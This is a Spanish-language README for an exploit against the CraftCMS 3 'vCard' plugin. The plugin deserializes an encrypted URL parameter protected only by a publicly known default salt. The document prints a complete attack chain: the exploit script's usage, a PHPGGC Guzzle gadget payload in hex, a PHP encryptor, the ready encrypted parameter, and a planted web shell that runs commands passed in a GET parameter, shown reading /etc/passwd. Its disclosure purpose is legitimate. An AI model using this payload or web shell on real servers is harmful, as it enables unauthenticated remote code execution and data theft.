
Este repositorio contiene detalles sobre una vulnerabilidad encontrada en el plugin "vCard" para CraftCMS 3.
Craft CMS tiene un plugin para descargar contactos en formato de archivo *.vcf llamado «vCard». El plugin se puede revisar en el repositorio de Craft y en Github: Craft Plugin Store Github
Este plugin toma un parámetro enviado por el cliente, descifra el valor con openssl_decrypt y luego pasa la cadena resultante a la función unserialize de PHP. Dado que la sal predeterminada para el cifrado está disponible en el repositorio, un atacante puede usar la misma lógica para cifrar un payload serializado malicioso.
Si el usuario tiene configurado un valor de «salt» modificado en los ajustes del plugin, entonces este deberá proporcionarse como parámetro al script de Python. Sin embargo, este valor permanecerá sin cambios si se descarga desde la tienda de plugins o simplemente clonando el repositorio. No hay opción de cambiarlo a través de la interfaz web de Craft.
Ejecute el script proporcionando el enlace vCard que activa la descarga del contacto. Elimine el valor del parámetro vcard.
El parámetro para el script sería entonces: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
Hay un valor de sal opcional que se puede proporcionar. Todas las opciones se muestran aquí:
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
El script de Python se probó en Python 3.6
El script ejecutará un comando PHP en el host del atacante para cifrar el payload. Por lo tanto, será necesario tener instalado php-cli. Este ataque se probó con PHP 7.2-cli y PHP 7.3-cli
Este es un fragmento de dónde el código deserializa de forma insegura (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
El parámetro $optionsString es el valor del parámetro URL «vcard» proporcionado por el cliente. Se pasa a través de la función decrypt y luego se deserializa. Si el cliente puede replicar el cifrado, este código se vuelve vulnerable, ya que deserializa directamente datos proporcionados por el usuario.
Esta es la función de cifrado en cuestión (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
El único valor que un atacante necesita conocer es la variable $key establecida por «VCard::$plugin->getSettings()->salt». El valor predeterminado se puede ver en el repositorio como «s34s4L7» (config.php:26) Github
Asumiendo que se utiliza la sal predeterminada, un atacante puede forzar la deserialización de cualquier clase en la instalación de Craft.
Necesitamos encontrar una clase «gadget» en la instalación predeterminada de Craft que podamos usar con fines maliciosos. Revisar qué clases tienen funciones mágicas __destruct o __wakeup proporciona una lista lo suficientemente pequeña para analizar. Esto se puede hacer usando "grep -rni < path to web root > -e '__destruct'"
guzzlehttp tiene una clase llamada «FileCookieJar» que parece guardar un archivo usando un atributo de clase como nombre de archivo:
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
Al investigar la función save se observa que escribirá datos en una ruta del sistema; tanto la ruta como los datos son atributos de clase y están bajo el control del atacante. Tiene sentido que, cuando se destruye este objeto de clase, escriba las cookies que tuviera en el atributo de nombre de archivo para recuperarlas o usarlas más tarde. Este es el contenido de la función save, siendo file_put_contents nuestro objetivo (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
Afortunadamente, no tenemos que hacer el trabajo manual para construir el payload malicioso nosotros mismos. La maravillosa herramienta PHPGGC automatiza la serialización de una clase Guzzle con un payload para que la usemos en este exploit.
Utilicé la herramienta para crear esto como payload base para el script del exploit, aunque se modificará ligeramente según el nombre de archivo. Además, es importante tener en cuenta que, si se genera un nuevo payload con PHPGGC, el parámetro «-f» debe usarse o la función mágica __destruct no se ejecutará:
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}
El contenido de sample.txt es:
<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
Tenga cuidado: el copiar y pegar normal no funcionará aquí, ya que hay bytes nulos en la clase serializada que deben estar presentes para que los atributos se asignen correctamente. Tuve que convertir la salida sin procesar de la herramienta a hexadecimal y luego volver a convertirla a una cadena mientras replicaba el proceso de cifrado. Este es el comando bash utilizado para obtener el payload hexadecimal.
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a
Puede haber un byte «0A» al final del payload generado. Si es así, elimínelo. En cualquier caso, ahora que tenemos un payload de PHPGGC y lo hemos convertido a hexadecimal, debemos cifrarlo antes de enviarlo a la función vulnerable del plugin. Copiando la lógica de la función encrypt de vCard mencionada anteriormente, solo tenemos que convertir nuestro payload hexadecimal y cifrarlo. Este es el script PHP que usé:
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");
$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
$string2 = rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
echo "Encrypted parameter:\n" . $string2 . "\n\n";
?>
Y la salida resultante:
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY
¡Por fin! Ahora que tenemos nuestro payload, solo tenemos que enviarlo en una petición y el shell estará disponible. El enlace a una descarga vCard válida variará. Aquí hay un ejemplo de mi despliegue de prueba:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
El valor del parámetro vcard se elimina y se reemplaza por uno malicioso:
La cadena pasa como $optionsString, se descifra y luego se deserializa, lo que provoca un error interno del servidor. Al revisar el sistema de archivos del servidor web de prueba se muestra que se ha creado un nuevo archivo shell.php:
craft@craftcms:/var/www/html$ ls
cpresources index.php shell.php web.config
craft@craftcms:/var/www/html$ cat shell.php
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>\n"}]
craft@craftcms:/var/www/html$
Al visitar http://craftcms/shell.php en mi navegador, ahora puedo pasar comandos del sistema a través del parámetro GET cmd.
Ejemplo: http://craftcms/shell.php?cmd=cat%20/etc/passwd
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Generación de gadgets PHP: https://github.com/ambionics/phpggc
Plugin vCard: https://github.com/nfourtythree/craft3-vcard
Craft CMS: https://craftcms.com/
Documentación de unserialize: https://www.php.net/manual/en/function.unserialize.php